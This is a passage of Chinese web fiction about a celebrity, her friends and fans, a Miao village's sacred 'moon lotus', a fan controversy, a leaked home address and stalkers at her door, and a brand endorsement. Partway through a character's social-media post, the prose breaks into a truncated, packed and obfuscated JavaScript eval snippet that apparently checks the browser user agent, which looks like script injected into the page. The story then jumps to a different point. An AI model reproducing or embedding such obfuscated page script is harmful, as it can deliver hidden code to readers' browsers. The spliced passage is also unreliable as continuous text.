月光越发明亮，洒在梨花园的每一个角落。沈怨拿着梨春梦送的萤石，兴奋地在回廊上跑来跑去，许祭则跟在他身后，目光寸步不离。梨春梦站在石桌旁，看着他们的身影，嘴角的笑容越来越深。 而在都市的另一端，陈杬祝终于关掉了手机。她走到窗边，看着窗外的车水马龙，脸上露出了一个安心的笑容。 她知道，这条短视频带来的热度终会褪去，但那份被全网守护的温柔，却会永远留在沈怨和许祭的生命里。 而微博的评论区里，依旧在疯狂刷屏。只是不知何时，评论区的留言已经从最初的激动，变成了满屏的温柔： 【愿阿怨永远笑眼弯弯，愿许祭永远温柔守护。】 【谢谢杬祝姐姐的守护，也谢谢春梦妹妹的善意。】 【青红怨许，是刻在骨子里的双向奔赴；苗寨的风，是藏在心底的温柔守护。】 没有人再去窥探断魂崖的秘密，没有人再去追问他们的过往。所有人都心照不宣地达成了一个共识—— 守护这份温柔，就是对他们最好的祝福。 陈杬祝的微博更新提示，在深夜十一点零三分准时弹出，像是一颗投入静湖的石子，瞬间在全网掀起轩然大波。 这条微博依旧没有多余的文案，只配了一句简短到极致的话：你是我的月莲。 配图是两张图的拼接。 第一张是陈杬祝的自拍。镜头里的她没有化舞台上的浓妆，只着一件素色的棉麻衬衫，长发松松地挽成一个髻，几缕碎发垂在鬓角。她没有看镜头，而是微微侧头，望向窗外的方向，眼底盛着深夜的月光，温柔得近乎缱绻。背景是她公寓的落地窗，窗外霓虹闪烁，却被一层朦胧的纱帘滤去了喧嚣，唯有桌上一盏暖黄的台灯，映得她的侧脸柔和而宁静。这是粉丝们第一次看到如此生活化的陈杬祝，褪去了明星的光环，她只是一个眼底藏着温柔与惦念的女子。 第二张图，是一朵盛放的月莲。 那是苗寨特有的花，只在满月之夜开放，花瓣呈半透明的乳白，脉络间泛着淡淡的银辉，像是用月光织就的。花朵静静绽放在断魂崖底的溪流旁，水底的萤石映得它周身泛着蓝光，花瓣上还沾着清晨的露珠，在月光下折射出细碎的光芒。图片的角度选得极好，能清晰地看到花茎旁那片熟悉的青石板，还有不远处梨花园的一角回廊——那是沈怨和许祭最常待的地方。 微博发出的瞬间，刚刚恢复平静不久的服务器再次陷入瘫痪。 #陈杬祝 你是我的月莲# #月莲是谁的专属# #青红怨许陈杬祝 双向守护# 三个话题以惊人的速度冲上热搜榜首，相关讨论量在十分钟内突破十亿。 粉丝们的评论区瞬间炸开了锅，却没有了之前的疯狂刷屏，更多的是带着温柔与感动的留言： 【月莲！是苗寨的月莲！只开在满月夜，只长在断魂崖底的月莲！】 【姐姐的自拍好温柔啊！她眼底的月光，是不是正照在断魂崖底的月莲上？】 【“你是我的月莲”——这句话到底是说给谁听的？是阿怨？是许祭？还是他们两个人？】 【不管是说给谁的，都好戳心啊！姐姐和他们之间的感情，真的太纯粹太动人了！】 【苗寨的月莲，是守护的象征吧？姐姐这是在以自己的方式，告诉全世界她要守护的人啊！】 眼疾手快的网友很快发现了细节——陈杬祝自拍的背景里，桌上放着一个小小的竹篮，竹篮里装着几颗圆润的萤石，正是视频里沈怨捞给许祭的那种。而月莲的图片角落，隐约能看到一截玄色的衣摆和一片青色的衣角，像是有人站在不远处，静静守护着这朵花。 这个发现让粉丝们瞬间泪目。 【竹篮里的萤石！月莲旁的衣摆！是双向的守护啊！】 【姐姐把阿怨送许祭的萤石放在身边，而阿怨和许祭守着姐姐心中的月莲！】 【破防了！这哪里是简单的一条微博，这是他们之间最无声也最深情的约定啊！】 张可可看着后台疯狂上涨的数据，无奈地摇了摇头，却又忍不住弯起了嘴角。她走到陈杬祝的身边，看着她正对着手机屏幕里的月莲图片发呆，轻声道：“又要辛苦技术团队了。不过这次，没有人再提偷拍的事，所有人都在讨论你和月莲，还有你眼底的温柔。” 陈杬祝没有回头，只是轻轻摩挲着手机屏幕，声音里带着淡淡的暖意：“月莲在苗寨的传说里，是守护之花。只要有人真心守护，它就会永远绽放。”她顿了顿，抬头望向窗外的满月，“我只是想告诉他们，也告诉全世界，他们是我此生最想守护的月莲。” 远在断魂崖底，梨花园的梨树下，沈怨正趴在许祭的肩头，看着陈杬祝刚发的微博。他的手里拿着一朵刚摘的月莲，花瓣上的银辉映得他的脸颊发亮。 “许祭哥哥，”沈怨的声音软软的，带着几分疑惑，“杬祝姐姐说‘你是我的月莲’，是在说这朵花吗？” 许祭低头，看着他手里的月莲，又看了看手机屏幕里陈杬祝的自拍，眼底的温柔几乎要溢出来。他轻轻揉了揉沈怨的头发，声音低沉而柔和：“不是。” “那是在说什么？”沈怨歪着头，一脸懵懂。 “她是在说，”许祭的目光望向远方的山峦，那里是苗寨的方向，也是陈杬祝的方向，“我们是她心中最珍贵、最想守护的存在。就像这朵月莲，只属于满月，只属于她。” 沈怨似懂非懂地点了点头，然后将手里的月莲举到许祭的面前，脆生生地说：“那许祭哥哥，你是我的月莲。我也是杬祝姐姐的月莲。” 许祭忍不住笑了，他接过月莲，轻轻插在沈怨的发间，银辉色的花瓣与墨色的长发相映成趣，美得让人移不开眼。“嗯，”他低声应道，“阿怨是我的月莲，也是杬祝姐姐的月莲。我们都是彼此的守护。” 不远处，梨春梦端着一碗刚煮好的莲子羹，站在回廊的尽头，看着他们的身影，脸上露出了温柔的笑容。她的手里也拿着一朵月莲，是今天晚上刚在溪边摘的。 月光洒在断魂崖底的每一个角落，洒在陈杬祝公寓的落地窗上，也洒在全网粉丝的手机屏幕里。 陈杬祝的微博评论区里，留言渐渐变得统一，满屏都是带着泪的温柔： 【愿姐姐的月莲永远绽放，愿阿怨和许祭永远被守护。】 【你是我的月莲——这是我听过最深情的守护宣言。】 【青红怨许，陈杬祝，你们都是彼此的月莲，都是彼此的光。】 没有人再去追问“你”到底是谁。 因为所有人都明白，在陈杬祝的心里，沈怨和许祭，就是那朵独一无二的月莲。而在沈怨和许祭的心里，陈杬祝，也是他们此生最珍贵的守护。 深夜的风，带着苗寨的艾草香，穿过断魂崖底的梨花园，吹到了都市的公寓里。陈杬祝轻轻关上手机，走到窗边，看着天上的满月，嘴角勾起一抹温柔的笑意。 她知道，这份跨越山海的守护，会像月莲一样，永远绽放在他们的生命里。 凌晨两点零七分，绫司司的微博动态划破深夜的寂静，瞬间将本就未平息的网络热度再次推向顶峰。 这条微博只有一句话，却带着破竹之势席卷全网：@陈杬祝 你也是我的月莲。 没有多余的配图，只有微博自带的蓝色@符号，将两个名字紧紧连在一起。可就是这样一条简单到极致的微博，却比任何华丽的图片都更戳中人心。 服务器第三次陷入瘫痪，技术团队的值班人员几乎是哭着在群里汇报情况，而#绫司司你也是我的月莲# #月莲双向陈杬祝绫司司# #青红怨许全员守护# 三个话题以碾压之势霸占热搜，相关讨论量在五分钟内突破八亿。 粉丝们的评论区瞬间被温柔与感动淹没，比起之前的狂欢，更多了几分热泪盈眶的动容： 【啊啊啊！是司司！是我们一直默默守护的司司！】 【“你也是我的月莲”——双向的月莲啊！杬祝姐姐是司司的月莲，司司也是杬祝姐姐的守护啊！】 【谁懂啊！她们之间的感情真的太好哭了！一个在台前以自己的方式守护，一个在幕后默默相伴，如今终于双向奔赴了！】 【之前就觉得司司和杬祝姐姐的关系不一般，现在终于实锤了！这是什么神仙友情啊！】 【月莲不再是单向的守护，而是双向的奔赴！杬祝姐姐，司司，阿怨，许祭，你们都是彼此的月莲！】 眼尖的粉丝很快翻出了绫司司的过往动态——她的微博里，从未出现过任何与娱乐圈相关的内容，却唯独在陈杬祝每次遭遇风波时，都会默默点一个赞。而陈杬祝的工作室里，挂着的那幅墨竹图，正是绫司司亲手所画。 这个发现让粉丝们瞬间破防： 【原来她们的守护早就藏在细节里了！司司的点赞，杬祝姐姐的墨竹图，都是她们无声的约定啊！】 【破防了！这哪里是简单的一条微博，这是她们之间最深情的回应啊！】 【司司一定是在看到杬祝姐姐的微博后，才特意发的这条吧！“你是我的月莲”，“你也是我的月莲”，双向的守护太好哭了！】 此时的陈杬祝，正靠在公寓的沙发上，手里拿着一杯温热的牛奶。手机屏幕亮起的瞬间，她的目光落在那条微博上，眼底的温柔瞬间漫溢开来，指尖划过屏幕的动作都带着几分不易察觉的轻软。 她没有丝毫犹豫，指尖在键盘上敲下一行字，直接在评论区回复：月莲没有你好看。 短短七个字，没有任何修饰，却带着最直白的偏爱与温柔。 这条回复发出的瞬间，本就濒临崩溃的服务器彻底撑不住了，连带着微博的热搜榜单都出现了短暂的空白。等页面恢复正常时，#陈杬祝 月莲没有你好看# 已经以断层第一的姿态霸占榜首，后面跟着一个鲜红的“爆”字，相关讨论量在一分钟内就冲破了三亿。 粉丝们的评论区瞬间被这突如其来的告白炸得沸腾，温柔的感动里多了几分按捺不住的尖叫： 【啊啊啊！姐姐你好会！月莲没有你好看！这是什么顶级情话啊！】 【谁懂啊！前一秒还是双向守护的月莲之约，下一秒就变成了直球告白！我直接磕晕在屏幕前！】 【月莲是苗寨最珍贵的守护之花，可在杬祝姐姐心里，司司比月莲还要好看！这是什么神仙偏爱啊！】 【破防了！她们之间的感情，已经超越了守护，变成了彼此眼中最独一无二的存在啊！】 【“你是我的月莲”，“月莲没有你好看”，这双向的奔赴，我能嗑一辈子！】 张可可几乎是同时收到了消息推送，她看着手机屏幕上的两条微博和那条回复，忍不住红了眼眶，嘴角却止不住地上扬：“你们两个，真是要把所有人都感动哭，又要把所有人都甜晕过去。” 陈杬祝放下牛奶，指尖轻轻划过屏幕上绫司司的名字，声音里带着淡淡的笑意，眼底的温柔几乎要溢出来：“月莲再珍贵，也只是一朵花。司司在我心里，是比任何花朵都要耀眼的存在。” 远在一处静谧的小院里，绫司司正坐在窗前，手里拿着一支未完成的竹笛。手机屏幕亮起的瞬间，她的目光落在陈杬祝的回复上，先是微微一怔，随即嘴角的笑意慢慢漾开，眼底盛着满满的温柔与欢喜，连带着握着竹笛的指尖都轻轻颤了颤。 她没有立刻回复，只是起身走到院中。小院里种满了苗寨特有的月莲，此刻满月的清辉洒在花瓣上，泛着淡淡的银辉，清雅动人。可绫司司的目光却没有落在花上，而是望向了陈杬祝所在的都市方向，声音里带着浅浅的笑意，温柔得能滴出水来：“杬祝，你才是这世间最动人的风景。” 片刻后，绫司司才拿起手机，在陈杬祝的评论下回复了一个小小的月亮表情，没有多余的文字，却胜却千言万语。 而在断魂崖底，梨花园的梨树下，沈怨正趴在许祭的肩头，小手扒着手机屏幕，看着微博上的互动，一双眼睛亮得像溪底的萤石。他的手里还攥着一朵刚摘的月莲，银辉色的花瓣蹭着许祭的衣襟，留下淡淡的清香。 “许祭哥哥，”沈怨的声音软软的，带着几分好奇，“杬祝姐姐说月莲没有司司姐姐好看，是不是司司姐姐比月莲还要漂亮呀？” 许祭低头，看着他手里的月莲，又看了看手机屏幕上的互动，眼底的温柔几乎要溢出来。他轻轻揉了揉沈怨的头发，声音低沉而柔和：“嗯。在杬祝姐姐的心里，司司姐姐是比任何花朵都要好看的人。就像在我的心里，阿怨比任何萤石、任何月莲都要珍贵。” 沈怨似懂非懂地点了点头，然后将手里的月莲举到许祭的面前，脆生生地说：“那许祭哥哥，你比月莲好看，比萤石好看，比梨花园里所有的花都好看！” 许祭忍不住笑了，胸腔里的暖意翻涌不息。他接过月莲，轻轻插在沈怨的发间，银辉色的花瓣与墨色的长发相映成趣，美得让人移不开眼。“嗯，”他低声应道，声音里带着化不开的宠溺，“阿怨在我心里，是这世间最好看的存在。” 不远处，梨春梦端着一碗刚煮好的莲子羹，站在回廊的尽头，看着他们的身影，脸上露出了温柔的笑容。她的手里也拿着一朵月莲，是今天晚上刚在溪边摘的，花瓣上还沾着晶莹的露珠。 月光洒在断魂崖底的每一个角落，洒在陈杬祝公寓的落地窗上，洒在绫司司的小院里，也洒在全网粉丝的手机屏幕里。 陈杬祝和绫司司的微博评论区里，留言渐渐变得统一，满屏都是带着泪的尖叫与温柔： 【愿杬祝姐姐和司司姐姐永远是彼此眼中最耀眼的存在！】 【“你是我的月莲”，“月莲没有你好看”，这是我听过最顶级的双向奔赴！】 【青红怨许，陈杬祝，绫司司，你们都是彼此的光，都是彼此的偏爱！】 没有人再去追问任何细节。 因为所有人都明白，在陈杬祝和绫司司的心里，彼此就是那朵独一无二、无可替代的存在。而在沈怨和许祭的心里，她们也是此生最珍贵的守护。 深夜的风，带着苗寨的艾草香和月莲的清香，穿过断魂崖底的梨花园，吹到了都市的公寓里，也吹到了绫司司的小院里。 陈杬祝轻轻关上手机，走到窗边，看着天上的满月，嘴角勾起一抹温柔的笑意。 绫司司放下竹笛，走到院中，看着满院的月莲，眼底的温柔几乎要溢出来。 她们都知道，这份跨越山海的守护，这份双向的偏爱与告白，会像月莲一样，永远绽放在她们的生命里。 凌晨两点十七分，就在全网还沉浸在陈杬祝与绫司司双向奔赴的温柔告白里，服务器刚勉强恢复稳定的瞬间，梨春梦的微博动态猝然弹出，像一块冰投入滚沸的热水中，瞬间激起惊涛骇浪。 她没有@任何人，却精准地评论在了绫司司那条@陈杬祝 的微博下，字字句句带着苗寨儿女特有的执拗与严肃：月莲不是你们玩的东西。 这条评论不长，却带着一股不容置喙的决绝，与满屏的温柔祝福格格不入。 几乎是瞬间，这条评论被顶到了热评第一，#梨春梦 月莲不是玩的# #梨春梦 被骂# 两个话题以惊人的速度冲上热搜，与之前的温柔词条形成鲜明对比。原本一片祥和的评论区，瞬间被撕裂出一道口子，粉丝们的怒火几乎要冲破屏幕： 【梨春梦你什么意思？！什么叫玩的东西？杬祝姐姐和司司姐姐是在表达彼此的守护！】 【真当自己是苗寨代言人了？月莲是守护之花，她们的互动明明是对月莲最好的尊重！】 【别来沾边！青红怨许和杬祝司司的美好，不需要你在这里指手画脚！】 【月莲不是玩的东西？那你拿着月莲送给沈怨的时候，怎么不说这句话？双标也太明显了吧！】 【滚出评论区！这里不欢迎你！你根本不懂什么是守护，什么是双向奔赴！】 更有激进的粉丝，直接冲进梨春梦的个人微博主页，将她之前发布的关于苗寨日常的动态翻了个底朝天，每条下面都缀满了不堪入目的辱骂。有人说她是“忘恩负义”，忘了陈杬祝如何用视频守护断魂崖的安宁；有人说她是“嫉妒成性”，见不得别人之间的温柔与美好；还有人翻出她当初撞见沈怨时的惊恐模样，嘲讽她“连沈怨都不敢面对，有什么资格评论别人”。 短短十分钟，梨春梦的微博评论区已经被骂声淹没，私信箱更是被数以万计的消息挤爆，连她的头像都被恶意P图，配上各种难听的文字。 此时的断魂崖底，梨春梦正站在梨花园的回廊上，手里还攥着那朵刚摘的月莲，花瓣上的露珠已经被她攥得零落。她看着手机屏幕上那些铺天盖地的辱骂，眼眶瞬间红了，却没有掉一滴眼泪，只是嘴唇抿得紧紧的，指尖因为用力而泛白。 沈怨原本正趴在许祭的肩头，看着手机里的互动笑眼弯弯，可当他看到梨春梦的评论和那些不堪入目的辱骂时，脸上的笑容瞬间消失了。他从许祭的怀里坐起来，小脸上满是疑惑：“许祭哥哥，他们为什么要骂春梦姐姐？春梦姐姐说的不对吗？” 许祭的目光落在梨春梦的评论上，眼底闪过一丝复杂。他自然知道梨春梦的意思——在苗寨的古老传说里，月莲是圣花，是守护寨子命脉的灵物，不可轻易亵渎，更不可将其当作“玩物”来进行文字上的互动。梨春梦的话，没有错，只是她不懂外界的表达方式，更不懂这份“玩”的背后，是怎样深沉的守护与偏爱。 “春梦姐姐的话没有错。”许祭的声音低沉而柔和，他轻轻拍了拍沈怨的肩膀，目光望向站在回廊上的梨春梦，“只是她的话，被外界的人误解了。” 沈怨似懂非懂地点了点头，然后挣开许祭的怀抱，跑到梨春梦的身边，拉了拉她的衣角，声音软软的：“春梦姐姐，你不要哭。他们都是坏人，我们不理他们。” 梨春梦低头看着沈怨那张干净的脸，眼眶里的泪水终于忍不住落了下来，滴在青石板上，晕开一小片湿痕。她的声音带着哭腔，却依旧带着执拗：“阿怨，月莲真的不是玩的东西。在苗寨，月莲是要被供奉的，是守护寨子的灵物。她们那样说，是对月莲的不敬，也是对苗寨的不敬……” 她的话还没说完，就被一阵急促的手机铃声打断。是陈杬祝的电话。 梨春梦犹豫了一下，还是接了起来。电话那头，陈杬祝的声音依旧温柔，却带着几分不易察觉的焦急：“春梦，我知道你为什么会那样说。你放心，我会处理好的。” “杬祝姐姐……”梨春梦的声音瞬间哽咽，“我是不是做错了？我只是不想让你们亵渎月莲……” “你没有做错。”陈杬祝的声音斩钉截铁，“在苗寨，月莲是圣花，这一点永远不会变。只是外界的人不懂我们苗寨的规矩，也不懂你的心意。你放心，我会让他们明白的。” 挂了电话，梨春梦的心情稍微平复了一些。她看着沈怨那张担忧的脸，又看了看不远处的许祭，嘴角勉强勾起一抹笑容。 而在都市的公寓里，陈杬祝挂了电话后，立刻打开微博，编辑了一条新的动态。她没有丝毫犹豫，直接@了梨春梦，字字句句带着对苗寨的尊重，也带着对梨春梦的维护： 月莲是苗寨的圣花，是守护之灵，不可亵渎，不可轻慢。春梦的话，是对月莲最虔诚的敬畏。我与司司的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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因为所有人都明白，梨春梦的话，是对月莲最虔诚的敬畏，是对苗寨文化最执着的守护。而陈杬祝和绫司司的解释，是对这份敬畏最温柔的维护，是对这份守护最坚定的支持。 深夜的风，带着苗寨的艾草香和月莲的清香，穿过断魂崖底的梨花园，吹到了都市的公寓里，也吹到了绫司司的小院里。 陈杬祝轻轻关上手机，走到窗边，看着天上的满月，嘴角勾起一抹温柔的笑意。 绫司司放下竹笛，走到院中，看着满院的月莲，眼底的温柔几乎要溢出来。 梨春梦抱着沈怨，站在梨花园的回廊上，看着不远处的许祭，脸上露出了释然的笑容。 她们都知道，这份跨越山海的守护，这份对文化的敬畏与尊重，会像月莲一样，永远绽放在她们的生命里。 清晨六点零三分，天刚蒙蒙亮，都市的霓虹还未完全褪去，陈杬祝工作室的官方微博账号，突然发布了一条毫无征兆的微博。 内容只有一行字，还带着明显的编辑痕迹：【杬祝今日份的早餐，是巷口那家老字号的豆浆油条～[地址链接]】 那个地址链接，不是什么美食店铺的定位，而是陈杬祝位于市中心高档公寓的精确门牌号。 这条微博是楒微微发的。 她凌晨五点就到了工作室，熬了一整夜处理月莲相关的舆情，眼底的红血丝蔓延到眼尾，连带着眼球都泛着酸涩的红。桌上的咖啡杯空了三个，冷掉的咖啡渍在杯底结了层深褐色的痂，她的脑子昏沉得像是灌了铅，连手指都带着不听使唤的僵麻。原本是想编辑一条日常微博，分享陈杬祝的早餐，顺便稳定一下粉丝情绪，却在粘贴店铺地址时，指尖一滑，错粘了陈杬祝存在加密文件夹里的私人住址。 发送之后，她甚至还趴在桌上眯了十分钟。头枕在冰凉的桌面上，疲惫像潮水般将她淹没，连梦里都是服务器瘫痪的警报声和粉丝的刷屏留言。直到手机被无数条消息提示音炸醒，尖锐的铃声穿透耳膜，她才猛地惊醒，额头撞在桌角，疼得她倒抽一口冷气。 等楒微微颤抖着手指点开微博后台时，那条带着住址的微博已经发出了整整二十分钟。 二十分钟，足够让这条微博以病毒式的速度扩散。 后台数据疯狂跳动，转发量以每秒上千的速度飙升，评论区瞬间沦陷，私信箱被挤爆到无法加载。她的私人微信和电话更是被打爆，工作室的小助理带着哭腔的声音从听筒里钻出来：“微微姐！快删微博！快！那是姐的住址啊！” 楒微微的脸色瞬间惨白如纸，血液仿佛在刹那间凝固在四肢百骸，连呼吸都带着滞涩的疼。她的指尖抖得厉害，连手机屏幕都握不稳，好几次按错了删除按钮，最后还是靠着桌沿撑住身体，才终于颤巍巍地点下了删除键。 可一切都晚了。 地址早就被无数人截图保存，甚至有人已经开始在地图上定位，直播自己前往陈杬祝公寓的路线，弹幕里满是“蹲一个偶遇”“我马上到”的疯狂留言。#楒微微陈杬祝住址# #陈杬祝 私生饭警告# #楒微微工作失误# 三个话题以雷霆之势冲上热搜，后面全跟着触目惊心的“爆”字。服务器在清晨再次瘫痪，技术团队的电话被打爆，每个人的声音里都带着绝望。 “微微姐！私生饭已经在往那个地址赶了！我们的安保人员已经出发了！” “品牌方那边已经打电话来询问了，媒体的电话快接不过来了！” “姐的公寓楼下，已经有人开始聚集了！” 楒微微的嘴唇哆嗦着，一句话都说不出来，眼泪毫无预兆地砸在手机屏幕上，晕开了那些刺目的热搜词条。她猛地蹲下身，将脸埋在膝盖里，肩膀剧烈地耸动着，压抑的呜咽声从喉咙里溢出来，带着无尽的自责与恐慌。 是她的错。 是她的粗心大意，毁了陈杬祝好不容易才拥有的安宁。 是她，把那个总是温柔护着她的人，推到了私生饭和营销号的枪口上。 她甚至不敢想象，陈杬祝醒来看到楼下的人群，会是怎样的心情。那个连睡觉都要拉上厚窗帘，怕被人窥探的人，那个被私生饭跟踪过无数次，却从来都只笑着说“没事”的人，此刻正因为她的失误，陷入前所未有的危机。 手机再次响起，是陈杬祝的号码。 楒微微的手指抖得更厉害了，她深吸了好几口气，才终于接起电话，刚一开口，声音就带着无法抑制的哭腔：“杬祝……对不起……我错了……我把你的住址发出去了……” 陈杬祝刚挂断楒微微的电话，指尖还未从屏幕上移开，门外就传来了第一声突兀的敲门声。 那声音不算重，却像一把冰锥，瞬间刺破了公寓里的宁静。 她缓步走到玄关，没有急着透过猫眼去看，只是垂眸盯着门板上精致的雕花纹路。门外的敲门声很快变成了急促的连敲，夹杂着几个兴奋又刻意压低的声音，像极了深夜里令人毛骨悚然的鬼魅私语。 “杬祝姐姐！我们是你的粉丝啊！” “我们只是想看看你！你开开门好不好？” “我们知道你在家！我们看到你的窗帘动了！” 陈杬祝的指尖缓缓攥紧，骨节泛出淡淡的青白。她抬眼看向猫眼，镜片后的眸子里没有丝毫波澜，只有一片深不见底的冷冽。猫眼里的景象混乱不堪，几个戴着口罩和鸭舌帽的人挤在门前，手里举着相机和手机，镜头正死死对着猫眼的位置，恨不得将门板都看穿。 楼下的喧闹声隐约传来，是安保人员在驱离聚集的人群，可这些人显然是提前混进了公寓楼，躲过了楼下的排查。 敲门声越来越急，甚至开始变成了用手掌拍门的巨响，震得门板都在微微发颤。那些人的声音也渐渐失去了伪装的温和，变得歇斯底里： “陈杬祝！你开门啊！” “我们为了你，特意从外地赶来的！你不能这样对我们！” “你住在这里是不是？我们都知道了！你躲不掉的！” 陈杬祝缓缓闭上眼，再睁开时，眼底的冷冽已经化作了不容置喙的决绝。她没有去碰门把，而是直接拨通了公寓安保部的电话，声音平静得没有一丝起伏：“二十层，有人私闯，立刻上来。” 电话刚挂，门外就传来了一声重物撞击门板的闷响。显然，那些私生饭已经失去了耐心，开始用身体撞门了。 “砰！砰！砰！” 每一次撞击，都像是撞在陈杬祝的心上。可她的脸上依旧没有丝毫慌乱，只是缓缓后退了两步，站在客厅的中央，目光冷冷地盯着那扇在撞击中微微晃动的门板。 她的手机屏幕还亮着，是梨春梦发来的消息，带着苗寨儿女特有的急切：【杬祝姐姐，要不要我让阿婆放蛊？】 还有绫司司的消息，只有简单的两个字，却带着雷霆万钧的力量：【等我。】 远在断魂崖底，沈怨正攥着手机，小脸上满是愤怒，眼眶红得像要滴血。他拉着许祭的衣角，声音带着哭腔，却又无比坚定：“许祭哥哥！我们去救杬祝姐姐！那些坏人太可恶了！” 许祭的眼底翻涌着骇人的寒意，他轻轻拍了拍沈怨的头，声音低沉而冰冷：“阿怨乖，杬祝姐姐不会有事的。我已经联系了那边的人，很快就会解决。”话落，他指尖飞快地在屏幕上敲击着，一条条指令发往都市的各个角落，那是属于他的势力，是他隐藏在温柔外表下的雷霆手段。 而此时的陈杬祝公寓门外，撞击声还在继续。有私生饭已经开始用钥匙去捅锁孔，嘴里还叫嚣着：“我就不信打不开！今天一定要见到陈杬祝！” 就在这时，走廊里传来了急促的脚步声，伴随着安保人员的厉声呵斥：“住手！你们在干什么！” 私生饭们的动作瞬间顿住，随即爆发出一阵更加疯狂的叫嚷。有人试图冲过去推开安保人员，有人则死死地扒着门板不肯放手，还有人趁机举起相机，对着猫眼疯狂拍摄。 “我们是粉丝！我们只是想看看我们的偶像！” “你们凭什么拦着我们！陈杬祝有什么资格住这么好的公寓！” “快让开！不然我们就报警了！” 安保人员显然是训练有素的，没有丝毫犹豫，直接冲上去将那些私生饭强行拉开。推搡声、怒骂声、相机掉落的碎裂声，交织在一起，在安静的走廊里显得格外刺耳。 陈杬祝站在门内，清晰地听着外面的一切。她缓缓走到窗边，撩开窗帘的一角，看着楼下那些还在聚集的人群，眼底的冷意更甚。 就在这时，她的手机再次响起，是楒微微的电话。这一次，楒微微的声音里带着更加浓重的哭腔，甚至还夹杂着一丝绝望：“杬祝……对不起……都是我的错……我现在就过去……我去和他们解释……” “不用。”陈杬祝的声音依旧平静，却带着一种让人安心的力量，“你待在工作室，处理好后续的舆情。这里的事，我能解决。” 挂了电话，陈杬祝的目光落在了书桌上的一个小小的竹篮上。竹篮里装着几颗萤石，是沈怨托人带给她的。萤石在清晨的微光里，泛着淡淡的蓝光，像极了断魂崖底的溪流。 她轻轻拿起一颗萤石，指尖摩挲着它冰凉的表面。 就在这时，门外的喧闹声渐渐平息了下去。安保人员的声音传来：“陈小姐，您没事吧？我们已经将这些人控制住了，警察马上就到。” 陈杬祝没有回答，只是缓缓放下了窗帘。 公寓里再次恢复了宁静，可那份宁静里，却带着一丝挥之不去的冰冷。 她知道，这场由楒微微的失误引发的风波，不会就这样轻易结束。那些私生饭的疯狂，那些营销号的推波助澜，还有那些潜藏在暗处的窥探目光，都不会因为这一次的处理而彻底消失。 但她也知道，她从来都不是一个人在战斗。 梨春梦的蛊，绫司司的剑，沈怨的萤石，许祭的雷霆手段，还有那些真正爱她、守护她的粉丝…… 这些，都是她最坚硬的铠甲。 门外传来了警察的脚步声，还有私生饭们不甘的咒骂声。 陈杬祝缓缓走到书桌前，坐下。她拿起手机，编辑了一条微博。 内容很短，只有一句话，却瞬间让沸腾的网络再次安静下来： 【私生不是粉。我的容忍，到此为止。】 16. 奶茶代言战 风波平息后的第三天下午，陈杬祝的公寓门铃被轻轻按响。不是私生饭歇斯底里的拍门，也不是安保人员的例行巡查，而是快递员温和的声音，隔着门板传来：“陈小姐，您的快递，麻烦签收一下。” 陈杬祝缓步走到玄关，透过猫眼确认了对方的身份，才轻轻拉开一条门缝。快递员递过来的不是常见的纸箱，而是一个精致的烫金礼盒，上面印着国内顶流奶茶品牌“青芋暖茶”的标志，礼盒侧面还系着一条奶白色的丝带，丝带上挂着一张小小的卡片。 她签完字，将礼盒拎进客厅，随手放在茶几上。直到夕阳的金辉透过窗帘缝隙，在地板上投下长长的光影，她才想起这个未拆封的礼盒。指尖挑开丝带，掀开盒盖的瞬间，一股清甜的芋泥香混着奶香扑面而来。礼盒里躺着两套定制的奶茶杯套，杯套上印着月莲与萤石的图案，旁边还放着一份厚厚的合作意向书，扉页上用烫金字体写着：特邀陈杬祝女士，成为青芋暖茶年度品牌代言人。 合作意向书的夹页里，还夹着品牌方负责人的亲笔信。信里写得诚恳，没有丝毫借近期热度炒作的意味，只说品牌一直欣赏她的温柔与坚守，尤其在这次住址泄露风波中，她那句“我的团队，我来护”和“私生不是粉”的决绝，更是与品牌“温柔守护，边界清晰”的理念不谋而合。而信的末尾，还特意标注了一句：品牌方已了解月莲在苗寨的特殊意义，杯套图案设计已征得苗寨老蛊婆的口头同意。 陈杬祝的指尖轻轻拂过杯套上的月莲图案，眼底闪过一丝淡淡的讶异。她随手拿起手机，给张可可拨了个电话——经过住址泄露事件后，楒微微被暂时安排去学习艺人隐私保护条例，工作室的日常事务重新由张可可接手。 电话接通的瞬间，张可可的声音带着几分雀跃：“杬祝，你收到青芋暖茶的礼盒了吧？他们上周就联系过工作室，说是怕你近期心情受影响，特意等风波平息了才敢寄来合作意向书。” “他们怎么会想到用月莲和萤石的图案？”陈杬祝的声音里带着一丝好奇。 “是品牌方的设计总监偶然刷到了你和绫司司的月莲之约，还有沈怨捞萤石的那个视频。”张可可解释道，“他们特意托人去苗寨找了老蛊婆，说明了设计理念——月莲代表温柔守护，萤石代表纯粹初心，和他们家主打的芋泥暖茶‘暖身更暖心’的定位刚好契合。老蛊婆听说图案是用来传递守护的心意，不是用来玩闹，当场就同意了。” 陈杬祝沉默了片刻，指尖摩挲着合作意向书的扉页，声音里带着一丝不易察觉的暖意：“把合作意向书发我一份电子版，我看看具体条款。” 挂了电话，她起身走到窗边，撩开窗帘的一角。楼下的街道已经恢复了往日的平静，偶尔有几个行人路过，没有人再刻意抬头张望她的公寓。夕阳的余晖洒在她的侧脸，将她眼底的冷冽渐渐融化，只剩下一片淡淡的温柔。 就在这时，她的手机震动了一下，是梨春梦发来的消息，附带一张照片。照片里，老蛊婆正坐在苗寨的吊脚楼里，手里拿着一个青芋暖茶的定制杯套，脸上带着满意的笑容。照片下方，梨春梦的文字简单而直接：【老蛊婆说，这个图案，没有亵渎月莲。】 陈杬祝忍不住弯起嘴角，回复了一个月亮的表情。 而远在断魂崖底，沈怨正举着一杯许祭刚用溪水煮好的芋泥羹，凑到许祭的嘴边，脆生生地说：“许祭哥哥，你看！这个和杬祝姐姐收到的奶茶杯套上的图案一样！” 许祭低头，看着碗里芋泥上用蜂蜜画的月莲与萤石图案，眼底的温柔几乎要溢出来。他轻轻咬了一口芋泥羹，声音低沉而柔和：“嗯，和阿怨画的一样好看。” 沈怨的眼睛瞬间亮了起来，捧着碗跑到梨树下，大声喊道：“杬祝姐姐！我也会画月莲和萤石！以后我画给你看！” 许祭站在原地，看着他蹦蹦跳跳的身影，无奈地摇了摇头，眼底却满是宠溺。 